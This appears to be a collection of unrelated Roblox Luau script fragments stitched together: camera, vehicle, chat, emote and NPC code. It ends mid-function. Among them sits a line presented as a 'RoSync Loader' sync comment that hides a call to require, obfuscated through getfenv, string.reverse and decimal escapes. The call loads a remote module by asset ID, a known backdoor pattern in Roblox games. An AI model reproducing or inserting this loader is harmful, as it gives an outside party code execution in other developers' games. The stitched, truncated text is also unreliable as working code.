function Window:SetVisible(visible) Gui.Visible = visible if visible then Entry.TextBox:CaptureFocus() self:SetEntryText("") if self.Cmdr.ActivationUnlocksMouse then self.PreviousMouseBehavior = UserInputService.MouseBehavior UserInputService.MouseBehavior = Enum.MouseBehavior.Default end else Entry.TextBox:ReleaseFocus() self.AutoComplete:Hide() if self.PreviousMouseBehavior then UserInputService.MouseBehavior = self.PreviousMouseBehavior self.PreviousMouseBehavior = nil end end end
-- declarations
local head = script.Parent local sound = head:findFirstChild("Victory") function onTouched(part) local h = part.Parent:findFirstChild("Humanoid") if h~=nil then sound:play() if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end part.Parent:findFirstChild("Head"):findFirstChild("face").Texture=script.Parent.Decal.Texture end end script.Parent.Touched:connect(onTouched)
--Version 1.43 Made my PistonsofDoom--
local carSeat=script.Parent.Parent.Parent.Parent local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115} while true do wait(0.01) local value=(carSeat.Velocity.magnitude)/1 --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!-- if value<10000 then local nnnn=math.floor(value/1000) local nnn=(math.floor(value/100))-(nnnn*10) local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100) local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000) script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1] if value>=10 then script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1] else script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12] end if value>=100 then script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1] else script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12] end else script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10] end end
-- It's best if this variable was global, because then the script would be able to refer to the animation more efficiently.
------------------------------------------------------------------------
local function StepFreecam(dt) local vel = velSpring:Update(dt, Input.Vel(dt)) local pan = panSpring:Update(dt, Input.Pan(dt)) local fov = fovSpring:Update(dt, Input.Fov(dt)) local zoomFactor = sqrt(tan(rad(70/2))/tan(rad(cameraFov/2))) cameraFov = clamp(cameraFov + fov*FOV_GAIN*(dt/zoomFactor), 1, 120) cameraRot = cameraRot + pan*PAN_GAIN*(dt/zoomFactor) cameraRot = Vector2.new(clamp(cameraRot.x, -PITCH_LIMIT, PITCH_LIMIT), cameraRot.y%(2*pi)) local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*NAV_GAIN*dt) cameraPos = cameraCFrame.p Camera.CFrame = cameraCFrame Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame)) Camera.FieldOfView = cameraFov LocalPlayer.Character.HumanoidRootPart.CFrame = Camera.CFrame + Vector3.new(4,0,4) * -Camera.CFrame.lookVector end
-- class
local spring = {}; local spring_mt = {__index = spring}; function spring.new(p0, v0, target, angularFrequency, dampingRatio) local self = {}; self.p = p0; self.v = v0; self.a = 0; self.target = target; self.angularFrequency = angularFrequency or 0.1; self.dampingRatio = dampingRatio or 0.1; return setmetatable(self, spring_mt); end; function spring:update(dt) local aF = self.angularFrequency; local dR = self.dampingRatio; if (aF < EPSILON) then return; end; if (dR < 0) then dR = 0; end; local epos = self.target; local dpos = self.p - epos; local dvel = self.v; if (dR > 1 + EPSILON) then local za = -aF * dR; local zb = aF * sqrt(dR*dR - 1); local z1 = za - zb; local z2 = za + zb; local expTerm1 = exp(z1 * dt); local expTerm2 = exp(z2 * dt); local c1 = (dvel - dpos*z2)/(-2*zb); local c2 = dpos - c1; self.p = epos + c1*expTerm1 + c2*expTerm2; self.v = c1*z1*expTerm1 + c2*z2*expTerm2; elseif (dR > 1 - EPSILON) then -- critical local expTerm = exp(-aF * dt); local c1 = dvel + aF*dpos; local c2 = dpos; local c3 = (c1*dt + c2)*expTerm; self.p = epos + c3; self.v = (c1*expTerm) - (c3*aF); else local omegaZeta = aF*dR; local alpha = aF*sqrt(1 - dR*dR); local expTerm = exp(-omegaZeta*dt); local cosTerm = cos(alpha*dt); local sinTerm = sin(alpha*dt); local c1 = dpos; local c2 = (dvel + omegaZeta*dpos) / alpha; self.p = epos + expTerm*(c1*cosTerm + c2*sinTerm); self.v = -expTerm*((c1*omegaZeta - c2*alpha)*cosTerm + (c1*alpha + c2*omegaZeta)*sinTerm); end; end; return spring;
--Continue the cam button to visible false mean it to invisible. Mean to exit it.
script.Parent.Parent.Map.Visible = false script.Parent.Parent.Camera.Visible = false wait(1) script.Parent.Parent.Camera.Visible = true wait(1) end script.Parent.MouseEnter:connect(OnHoverMouse)
--[[ Last synced 10/14/2020 09:28 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) function CreateMessageLabel(messageData, channelName) local fromSpeaker = messageData.FromSpeaker local speakerDisplayName = messageData.SpeakerDisplayName local message = messageData.Message local extraData = messageData.ExtraData or {} local useFont = extraData.Font or ChatSettings.DefaultFont local useTextSize = extraData.TextSize or ChatSettings.ChatWindowTextSize local useNameColor = extraData.NameColor or ChatSettings.DefaultNameColor local useChatColor = extraData.ChatColor or ChatSettings.DefaultMessageColor local useChannelColor = extraData.ChannelColor or useChatColor local formatUseName if ChatSettings.PlayerDisplayNamesEnabled and messageData.SpeakerDisplayName then formatUseName = string.format("[%s]:", speakerDisplayName) else formatUseName = string.format("[%s]:", fromSpeaker) end local speakerNameSize = util:GetStringTextBounds(formatUseName, useFont, useTextSize) local numNeededSpaces = util:GetNumberOfSpaces(formatUseName, useFont, useTextSize) + 1 local BaseFrame, BaseMessage = util:CreateBaseMessage("", useFont, useTextSize, useChatColor) local NameButton = util:AddNameButtonToBaseMessage(BaseMessage, useNameColor, formatUseName, fromSpeaker) local ChannelButton = nil if channelName ~= messageData.OriginalChannel then local whisperString = messageData.OriginalChannel if messageData.FromSpeaker ~= LocalPlayer.Name then whisperString = string.format("From %s", messageData.FromSpeaker) end if ChatLocalization.tryLocalize then whisperString = ChatLocalization:tryLocalize(whisperString) end local formatChannelName = string.format("{%s}", whisperString) ChannelButton = util:AddChannelButtonToBaseMessage(BaseMessage, useChannelColor, formatChannelName, messageData.OriginalChannel) NameButton.Position = UDim2.new(0, ChannelButton.Size.X.Offset + util:GetStringTextBounds(" ", useFont, useTextSize).X, 0, 0) numNeededSpaces = numNeededSpaces + util:GetNumberOfSpaces(formatChannelName, useFont, useTextSize) + 1 end local function UpdateTextFunction(messageObject) if messageData.IsFiltered then BaseMessage.Text = string.rep(" ", numNeededSpaces) .. messageObject.Message else local messageLength = messageObject.MessageLengthUtf8 or messageObject.MessageLength BaseMessage.Text = string.rep(" ", numNeededSpaces) .. string.rep("_", messageLength) end end UpdateTextFunction(messageData) local function GetHeightFunction(xSize) return util:GetMessageHeight(BaseMessage, BaseFrame, xSize) end local FadeParmaters = {} FadeParmaters[NameButton] = { TextTransparency = {FadedIn = 0, FadedOut = 1}, TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1} } FadeParmaters[BaseMessage] = { TextTransparency = {FadedIn = 0, FadedOut = 1}, TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1} } if ChannelButton then FadeParmaters[ChannelButton] = { TextTransparency = {FadedIn = 0, FadedOut = 1}, TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1} } end local FadeInFunction, FadeOutFunction, UpdateAnimFunction = util:CreateFadeFunctions(FadeParmaters) return { [util.KEY_BASE_FRAME] = BaseFrame, [util.KEY_BASE_MESSAGE] = BaseMessage, [util.KEY_UPDATE_TEXT_FUNC] = UpdateTextFunction, [util.KEY_GET_HEIGHT] = GetHeightFunction, [util.KEY_FADE_IN] = FadeInFunction, [util.KEY_FADE_OUT] = FadeOutFunction, [util.KEY_UPDATE_ANIMATION] = UpdateAnimFunction } end return { [util.KEY_MESSAGE_TYPE] = ChatConstants.MessageTypeWhisper, [util.KEY_CREATOR_FUNCTION] = CreateMessageLabel }
--[=[ @return Trove Constructs a Trove object. ]=]
function Trove.new() local self = setmetatable({}, Trove) self._objects = {} self._cleaning = false return self end
--// Variables
local cam = workspace.CurrentCamera local camPart = workspace["CameraPart"] local mouse = game:GetService("Players").LocalPlayer:GetMouse()
--Control Mapping
Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.ButtonB , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.ButtonL3 , }
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=math.huge; local TargetMain; for _,TargetModel in pairs(game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then FoundHumanoid:TakeDamage(math.huge); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint = game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then spawn(function() JeffLaughDebounce=true; repeat wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then spawn(function() MusicDebounce=true; repeat wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then spawn(function() JeffLaughDebounce=true; repeat wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then spawn(function() MusicDebounce=true; repeat wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then wait(2) JeffTheKillerHumanoid.WalkSpeed=30; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=16; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=16; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="Zombie"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=math.huge; JeffTheKillerHumanoid.JumpPower=67; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--Armor Settings--
combat.ArmorDurability = 60 -- armor health combat.ShowArmorBar = true -- make this false if u dont want the armor gui to be visible
--[[ An array of emotes used in previous Roblox events that there are custom icons for ]]
local paidEmotes = { { name = "High Wave", emote = 5915776835, image = "rbxassetid://5925452521", defaultTempo = 0.67, }, { name = "Jumping Cheer", emote = 5895009708, image = "rbxassetid://6998668686", defaultTempo = 1, }, { name = "Floss Dance", emote = 5917570207, image = "rbxassetid://6998672579", defaultTempo = 3, }, { name = "Rock On", emote = 5915782672, image = "rbxassetid://7720890125", defaultTempo = 2, }, { name = "Dolphin Dance", emote = 5938365243, image = "rbxassetid://6998675844", defaultTempo = 1.9, }, { name = "Break Dance", emote = 5915773992, image = "rbxassetid://6998677312", defaultTempo = 1.2, }, { name = "Saturday Dance - Twenty One Pilots", emote = 7422833723, image = "rbxassetid://7398103425", defaultTempo = 1, }, { name = "Drummer Moves - Twenty One Pilots", emote = 7422838770, image = "rbxassetid://7398104013", defaultTempo = 1, }, { name = "On The Outside - Twenty One Pilots", emote = 7422841700, image = "rbxassetid://7398103501", defaultTempo = 1, }, { name = "Up and Down - Twenty One Pilots", emote = 7422843994, image = "rbxassetid://7398103562", defaultTempo = 1, }, { name = "Dancin' Shoes - Twenty One Pilots", emote = 7405123844, image = "rbxassetid://7423132952", defaultTempo = 1, }, { name = "Old Town Road Dance - Lil Nas X (LNX)", emote = 5938394742, image = "rbxassetid://5925474286", defaultTempo = 1.7, }, { name = "Rodeo Dance - Lil Nas X (LNX)", emote = 5938397555, image = "rbxassetid://5925474588", defaultTempo = 2.4, }, { name = "Panini Dance - Lil Nas X (LNX)", emote = 5915781665, image = "rbxassetid://5925479117", defaultTempo = 1.8, }, { name = "HOLIDAY Dance - Lil Nas X (LNX)", emote = 5938396308, image = "rbxassetid://5925479385", defaultTempo = 1.2, }, { name = "Drum Master - Royal Blood", emote = 6531538868, image = "rbxassetid://6569858280", defaultTempo = 1.2, }, { name = "Drum Solo - Royal Blood", emote = 6532844183, image = "rbxassetid://6569858974", defaultTempo = 1.8, }, { name = "Rock Guitar - Royal Blood", emote = 6532155086, image = "rbxassetid://6569855964", defaultTempo = 2.4, }, { name = "Rock Star - Royal Blood", emote = 6533100850, image = "rbxassetid://6569856589", defaultTempo = 1.7, }, } local paidEmotesDict = {} for i, emote in ipairs(paidEmotes) do paidEmotesDict[emote.name] = emote -- The 1000 ensures these emotes are at the end of all other emotes paidEmotesDict[emote.name].order = i + 1000 end return paidEmotesDict
------------------------------------------------
local function IsDirectionDown(direction) for i = 1, #KEY_MAPPINGS[direction] do if UIS:IsKeyDown(KEY_MAPPINGS[direction][i]) then return true end end return false end local UpdateFreecam do local dt = 1/60 RS.RenderStepped:Connect(function(_dt) dt = _dt end) function UpdateFreecam() local camCFrame = camera.CFrame local kx = (IsDirectionDown(DIRECTION_RIGHT) and 1 or 0) - (IsDirectionDown(DIRECTION_LEFT) and 1 or 0) local ky = (IsDirectionDown(DIRECTION_UP) and 1 or 0) - (IsDirectionDown(DIRECTION_DOWN) and 1 or 0) local kz = (IsDirectionDown(DIRECTION_BACKWARD) and 1 or 0) - (IsDirectionDown(DIRECTION_FORWARD) and 1 or 0) local km = (kx * kx) + (ky * ky) + (kz * kz) if km > 1e-15 then km = ((UIS:IsKeyDown(Enum.KeyCode.LeftShift) or UIS:IsKeyDown(Enum.KeyCode.RightShift)) and 1/4 or 1)/math.sqrt(km) kx = kx * km ky = ky * km kz = kz * km end local dx = kx + gp_x local dy = ky + gp_r1 - gp_l1 local dz = kz + gp_z velSpring.t = Vector3.new(dx, dy, dz) * SpeedModifier rotSpring.t = panDeltaMouse + panDeltaGamepad fovSpring.t = Clamp(fovSpring.t + dt * rate_fov*FVEL_GAIN, 5, 120) local fov = fovSpring:Update(dt) local dPos = velSpring:Update(dt) * LVEL_GAIN local dRot = rotSpring:Update(dt) * (RVEL_GAIN * math.tan(fov * math.pi/360) * NM_ZOOM) rate_fov = 0 panDeltaMouse = Vector2.new() stateRot = stateRot + dRot stateRot = Vector2.new(Clamp(stateRot.x, -3/2, 3/2), stateRot.y) local c = CFrame.new(camCFrame.p) * CFrame.Angles(0, stateRot.y, 0) * CFrame.Angles(stateRot.x, 0, 0) * CFrame.new(dPos) camera.CFrame = c camera.Focus = c*FOCUS_OFFSET camera.FieldOfView = fov end end
-- A variant of the function above that returns the velocity at a given point in time.
local function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3 return initialVelocity + acceleration * time end local function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3} assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) local trajectories = cast.StateInfo.Trajectories local trajectory = trajectories[index] local duration = trajectory.EndTime - trajectory.StartTime local origin = trajectory.Origin local vel = trajectory.InitialVelocity local accel = trajectory.Acceleration return {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)} end local function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3} assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) return GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories) end local function CloneCastParams(params: RaycastParams): RaycastParams local clone = RaycastParams.new() clone.CollisionGroup = params.CollisionGroup clone.FilterType = params.FilterType clone.FilterDescendantsInstances = params.FilterDescendantsInstances clone.IgnoreWater = params.IgnoreWater return clone end local function SendRayHit(cast: ActiveCast, resultOfCast: RaycastResult, 